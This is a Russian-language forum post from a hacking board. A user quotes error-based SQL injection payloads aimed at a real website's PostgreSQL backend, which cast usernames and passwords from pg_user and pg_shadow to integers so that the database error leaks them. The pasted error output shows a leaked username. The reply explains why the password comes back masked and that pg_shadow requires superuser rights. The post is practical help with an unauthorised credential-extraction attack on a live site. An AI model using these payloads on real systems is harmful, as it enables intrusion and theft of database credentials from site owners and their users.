Показать сообщение отдельно

  #22878  
Старый 16.10.2013, 03:13
Melfis
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
Провел на форуме:
195266

Репутация: 53


По умолчанию

Цитата:
Сообщение от Always  
Два раза подряд нахожу SQL inj в PostgreSQL
И никак не пойму почему при таком запросе:
'+and+1=cast((SELECT+usename||chr(58)||passwd+FROM +pg_user+LIMIT+1+OFFSET+1)+as+int)--
выдает:
Warning: ERROR: invalid input syntax for integer: "xxx3:********" query: select src from url_alias where dst='firms' and 1=cast((SELECT usename||chr(58)||passwd FROM pg_user LIMIT 1 OFFSET 1) as int)--' in /web/XXX/www/includes/database.pgsql.inc on line 160
пароль под звездочками...!
Что не так?
П.с.
g_shadow - доступа нет.
брал аналогию запроса:
'+and+1=cast((SELECT+usename||chr(58)||passwd+FROM +pg_shadow+LIMIT+1+OFFSET+1)+as+int)--
Query failed: ERROR: invalid input syntax for integer: "pg_database" in /web/XXX/www/includes/database.pgsql.inc on line 139
Потому что в pg_user не хранится пасс(http://www.postgresql.org/docs/8.3/static/view-pg-user.html), ну а на pg_shadow нужны рутовые права(к слову).
 
Ответить с цитированием